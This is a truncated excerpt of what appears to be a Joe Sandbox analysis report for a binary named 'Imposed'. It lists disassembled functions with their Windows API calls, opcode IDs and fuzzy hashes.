                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$ItemMoveRect$Invalidate
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3096461208-0
                                                                                                                                                                • Opcode ID: 667429d152d41b9d7cb71083ae1e687e103c83a6c8180375d0fe5f7966b89cd2
                                                                                                                                                                • Instruction ID: 10efab5d899d8f1193cc894f40757024e16279d10279d890146d29f0e69af87d
                                                                                                                                                                • Opcode Fuzzy Hash: 667429d152d41b9d7cb71083ae1e687e103c83a6c8180375d0fe5f7966b89cd2
                                                                                                                                                                • Instruction Fuzzy Hash: 1E510F71A00209AFDF18CFA8DD89ABEBBB9FB48301F108139F519E6295D7749D01CB50
                                                                                                                                                                Function 009916B2 Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099670F: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009916CD,?,00000000,?,?,?,?,0099169F,00000000,?), ref: 00996772
                                                                                                                                                                • DestroyWindow.USER32(?), ref: 00991766
                                                                                                                                                                • KillTimer.USER32(00000000,?,?,?,?,0099169F,00000000,?), ref: 00991800
                                                                                                                                                                • DestroyAcceleratorTable.USER32(00000000), ref: 009D2BFF
                                                                                                                                                                • ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,0099169F,00000000,?), ref: 009D2C2D
                                                                                                                                                                • ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,0099169F,00000000,?), ref: 009D2C44
                                                                                                                                                                • ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0099169F,00000000), ref: 009D2C60
                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 009D2C72
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 641708696-0
                                                                                                                                                                • Opcode ID: 868be703a0a0f4cef6f691cc310dc33302533df411deae8b7e9c85efd0224cad
                                                                                                                                                                • Instruction ID: 35f8104bc1c4f4113aa28d33e9865bae862b9bf696d05278c2e2eecbc1f85239
                                                                                                                                                                • Opcode Fuzzy Hash: 868be703a0a0f4cef6f691cc310dc33302533df411deae8b7e9c85efd0224cad
                                                                                                                                                                • Instruction Fuzzy Hash: 5E617A31511B12DFDB35DFA8D988B3977B5FB90312F148469E0829B6A0C7B4AC92DF90
                                                                                                                                                                Function 00992078 Relevance: 18.1, APIs: 12, Instructions: 137COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00992184: GetWindowLongW.USER32(?,000000EB), ref: 00992192
                                                                                                                                                                • GetSysColor.USER32(0000000F), ref: 009920A2
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ColorLongWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 259745315-0
                                                                                                                                                                • Opcode ID: 2828079325e7918b114a29dc7ad245ae1cd4bcd33721e5cd2df0ea6c8392cf72
                                                                                                                                                                • Instruction ID: 407058a10e5362818e4c8a6f8f399c635f09d56f1fea5989edceca518c717f3b
                                                                                                                                                                • Opcode Fuzzy Hash: 2828079325e7918b114a29dc7ad245ae1cd4bcd33721e5cd2df0ea6c8392cf72
                                                                                                                                                                • Instruction Fuzzy Hash: B141A231148640BFDF349F7C9C48BB93B6AAB46321F148615FAA2872E1C7758D53DB11
                                                                                                                                                                Function 009F0EFD Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099B0DB: _wcslen.LIBCMT ref: 0099B0EE
                                                                                                                                                                • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 009F0FC1
                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 009F0FDD
                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 009F0FF9
                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 009F1023
                                                                                                                                                                • CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 009F104B
                                                                                                                                                                • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 009F1056
                                                                                                                                                                • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 009F105B
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
                                                                                                                                                                • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                                                                                • API String ID: 323675364-22481851
                                                                                                                                                                • Opcode ID: f1354d83970ee2c156c2719b7810adf6c3213a03451e094f63e9dc9a41262133
                                                                                                                                                                • Instruction ID: 57d48757daef46777ec021e2f0454e0f23445b05c411f46c15c3fd71b31edfad
                                                                                                                                                                • Opcode Fuzzy Hash: f1354d83970ee2c156c2719b7810adf6c3213a03451e094f63e9dc9a41262133
                                                                                                                                                                • Instruction Fuzzy Hash: D4410872C1022DABCF21EBA8DC95EEEB778BF54300F404529E911A31A1EB309D45CB90
                                                                                                                                                                Function 00A24672 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00A24717
                                                                                                                                                                • CreateCompatibleDC.GDI32(00000000), ref: 00A2471E
                                                                                                                                                                • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00A24731
                                                                                                                                                                • SelectObject.GDI32(00000000,00000000), ref: 00A24739
                                                                                                                                                                • GetPixel.GDI32(00000000,00000000,00000000), ref: 00A24744
                                                                                                                                                                • DeleteDC.GDI32(00000000), ref: 00A2474E
                                                                                                                                                                • GetWindowLongW.USER32(?,000000EC), ref: 00A24758
                                                                                                                                                                • SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 00A2476E
                                                                                                                                                                • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 00A2477A
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                                                                                                                                • String ID: static
                                                                                                                                                                • API String ID: 2559357485-2160076837
                                                                                                                                                                • Opcode ID: d46b34596ea77932c48c618296a646065d5d76edee2bfa55623fd712b44dae6d
                                                                                                                                                                • Instruction ID: b051263d4069d2c6551ab6164b3943593afbc9b734a9ab8bc0441754645ffa21
                                                                                                                                                                • Opcode Fuzzy Hash: d46b34596ea77932c48c618296a646065d5d76edee2bfa55623fd712b44dae6d
                                                                                                                                                                • Instruction Fuzzy Hash: 7D316131100225ABDF219FA8DC49FEA3BA9FF0D365F110331FA25961A1C775D862DB94
                                                                                                                                                                Function 00A14403 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 00A1442F
                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 00A1445D
                                                                                                                                                                • CoUninitialize.OLE32 ref: 00A14467
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A14500
                                                                                                                                                                • GetRunningObjectTable.OLE32(00000000,?), ref: 00A14584
                                                                                                                                                                • SetErrorMode.KERNEL32(00000001,00000029), ref: 00A146A8
                                                                                                                                                                • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00A146E1
                                                                                                                                                                • CoGetObject.OLE32(?,00000000,00A30B5C,?), ref: 00A14700
                                                                                                                                                                • SetErrorMode.KERNEL32(00000000), ref: 00A14713
                                                                                                                                                                • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A14797
                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 00A147AB
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 429561992-0
                                                                                                                                                                • Opcode ID: 2bff4e21af76d72105cd16ee7eefdca5274ff56b59ccad35452c7bb556c7a005
                                                                                                                                                                • Instruction ID: 6e5885632912b71c128ade92e6e960b233b71c74e4dfa1552df8b2aeeb73a4e8
                                                                                                                                                                • Opcode Fuzzy Hash: 2bff4e21af76d72105cd16ee7eefdca5274ff56b59ccad35452c7bb556c7a005
                                                                                                                                                                • Instruction Fuzzy Hash: A2C156716083019FD700DF68C88496BBBE9FF89758F14492DF98A9B251DB30ED46CB52
                                                                                                                                                                Function 00A08297 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 00A082F4
                                                                                                                                                                • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00A08390
                                                                                                                                                                • SHGetDesktopFolder.SHELL32(?), ref: 00A083A4
                                                                                                                                                                • CoCreateInstance.OLE32(00A30CCC,00000000,00000001,00A57E4C,?), ref: 00A083F0
                                                                                                                                                                • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00A08475
                                                                                                                                                                • CoTaskMemFree.OLE32(?,?), ref: 00A084CD
                                                                                                                                                                • SHBrowseForFolderW.SHELL32(?), ref: 00A08558
                                                                                                                                                                • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00A0857B
                                                                                                                                                                • CoTaskMemFree.OLE32(00000000), ref: 00A08582
                                                                                                                                                                • CoTaskMemFree.OLE32(00000000), ref: 00A085D7
                                                                                                                                                                • CoUninitialize.OLE32 ref: 00A085DD
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2762341140-0
                                                                                                                                                                • Opcode ID: 812605def42ffcc24ea0171c448636b4bef2fc20dc4608080f672d5deff0f9ea
                                                                                                                                                                • Instruction ID: 286e0b62d41e045f8b0b47266e19aa3084c39e5d34427ad0d1052e63a3de4b09
                                                                                                                                                                • Opcode Fuzzy Hash: 812605def42ffcc24ea0171c448636b4bef2fc20dc4608080f672d5deff0f9ea
                                                                                                                                                                • Instruction Fuzzy Hash: E9C12B75A00209AFCB14DFA8D884DAEBBF5FF48304B1484A8F45ADB261DB35ED46CB54
                                                                                                                                                                Function 00A25AF9 Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00A25BE0
                                                                                                                                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A25BF1
                                                                                                                                                                • CharNextW.USER32(00000158), ref: 00A25C20
                                                                                                                                                                • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00A25C61
                                                                                                                                                                • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00A25C77
                                                                                                                                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A25C88
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$CharNext
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1350042424-0
                                                                                                                                                                • Opcode ID: 2043672777cc484c021f180365294c260987f7973eb0db82809865562cdf78f6
                                                                                                                                                                • Instruction ID: e4e646ed4428ed38af2e7101dbbb2884db71aa8dff1994c6e8e494e97bdb0eaf
                                                                                                                                                                • Opcode Fuzzy Hash: 2043672777cc484c021f180365294c260987f7973eb0db82809865562cdf78f6
                                                                                                                                                                • Instruction Fuzzy Hash: 7D61A031D01228ABDF21DFA8DC84AFE7BB8FF45710F108165F925AB291D7749A42DB60
                                                                                                                                                                Function 009F02A7 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 009F02CE
                                                                                                                                                                • SafeArrayAllocData.OLEAUT32(?), ref: 009F0327
                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 009F0339
                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(?,?), ref: 009F0359
                                                                                                                                                                • VariantCopy.OLEAUT32(?,?), ref: 009F03AC
                                                                                                                                                                • SafeArrayUnaccessData.OLEAUT32(?), ref: 009F03C0
                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 009F03D5
                                                                                                                                                                • SafeArrayDestroyData.OLEAUT32(?), ref: 009F03E2
                                                                                                                                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 009F03EB
                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 009F03FD
                                                                                                                                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 009F0408
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2706829360-0
                                                                                                                                                                • Opcode ID: bec567e24f8d637a81ed04269f8d2c30690a3215dade1b6795f60800690ddc29
                                                                                                                                                                • Instruction ID: 7153c194f2078342fcd984437f24fd65890c101c71f58f66d62101815e3b2fc6
                                                                                                                                                                • Opcode Fuzzy Hash: bec567e24f8d637a81ed04269f8d2c30690a3215dade1b6795f60800690ddc29
                                                                                                                                                                • Instruction Fuzzy Hash: B3414475A0021D9FCF10DF98C8449BDBBB9FF88344F008065E955A7262DB74A946CBA0
                                                                                                                                                                Function 009FA492 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetKeyboardState.USER32(?), ref: 009FA4BA
                                                                                                                                                                • GetAsyncKeyState.USER32(000000A0), ref: 009FA53B
                                                                                                                                                                • GetKeyState.USER32(000000A0), ref: 009FA556
                                                                                                                                                                • GetAsyncKeyState.USER32(000000A1), ref: 009FA570
                                                                                                                                                                • GetKeyState.USER32(000000A1), ref: 009FA585
                                                                                                                                                                • GetAsyncKeyState.USER32(00000011), ref: 009FA59D
                                                                                                                                                                • GetKeyState.USER32(00000011), ref: 009FA5AF
                                                                                                                                                                • GetAsyncKeyState.USER32(00000012), ref: 009FA5C7
                                                                                                                                                                • GetKeyState.USER32(00000012), ref: 009FA5D9
                                                                                                                                                                • GetAsyncKeyState.USER32(0000005B), ref: 009FA5F1
                                                                                                                                                                • GetKeyState.USER32(0000005B), ref: 009FA603
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: State$Async$Keyboard
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 541375521-0
                                                                                                                                                                • Opcode ID: f02db7315a3df1a752305efb5041b22c95b8750cde8efbd51a627fd7415a0b63
                                                                                                                                                                • Instruction ID: c5d6d0e15178c01fd0ae4de632eaed42609b5b5479ebb6e58864e82ef1a1a8be
                                                                                                                                                                • Opcode Fuzzy Hash: f02db7315a3df1a752305efb5041b22c95b8750cde8efbd51a627fd7415a0b63
                                                                                                                                                                • Instruction Fuzzy Hash: 984186A45047CE6DFF319B6484043B9BEA86B25344F08845AE7CA475C2EBD499C4C763
                                                                                                                                                                Function 00A2A58E Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 260windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009923E1: GetWindowLongW.USER32(00000000,000000EB), ref: 009923F2
                                                                                                                                                                • GetSystemMetrics.USER32(0000000F), ref: 00A2A5CF
                                                                                                                                                                • GetSystemMetrics.USER32(0000000F), ref: 00A2A5EF
                                                                                                                                                                • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00A2A82C
                                                                                                                                                                • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00A2A84A
                                                                                                                                                                • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00A2A86B
                                                                                                                                                                • ShowWindow.USER32(00000003,00000000), ref: 00A2A88A
                                                                                                                                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00A2A8AF
                                                                                                                                                                • DefDlgProcW.USER32(?,00000005,?,?), ref: 00A2A8D2
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1211466189-3916222277
                                                                                                                                                                • Opcode ID: 02210fcb128ba5684603b5e8ec4c380fbe9bd3ea8bc550053f2202efa7550c76
                                                                                                                                                                • Instruction ID: 38ea9e017721fda9c603d3ee1fd4b1dfd00aaba8d464b1587ba37e8c65d9533d
                                                                                                                                                                • Opcode Fuzzy Hash: 02210fcb128ba5684603b5e8ec4c380fbe9bd3ea8bc550053f2202efa7550c76
                                                                                                                                                                • Instruction Fuzzy Hash: 38B17835600225AFDF14CF6CD9857AE7BB2FF54701F188079EC499B295E730A941CB62
                                                                                                                                                                Function 00A19445 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$BuffCharLower
                                                                                                                                                                • String ID: cdecl$none$stdcall$winapi
                                                                                                                                                                • API String ID: 707087890-567219261
                                                                                                                                                                • Opcode ID: 4a4c0632ded2740a57e201192e88adce7f3d6705da26d1b6ca385c2275fb504a
                                                                                                                                                                • Instruction ID: 830d68ac504e2cd8c4278d00d432f6e024b8ceb6013696beb48ca7edf7e43659
                                                                                                                                                                • Opcode Fuzzy Hash: 4a4c0632ded2740a57e201192e88adce7f3d6705da26d1b6ca385c2275fb504a
                                                                                                                                                                • Instruction Fuzzy Hash: 8A51A531A041169BCF14DFACC9609FEB7A6BF64364B244229F826E7281EB35DD85C790
                                                                                                                                                                Function 00A08996 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetLocalTime.KERNEL32(?), ref: 00A08A58
                                                                                                                                                                • SystemTimeToFileTime.KERNEL32(?,?), ref: 00A08A68
                                                                                                                                                                • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00A08A74
                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A08B11
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A08B25
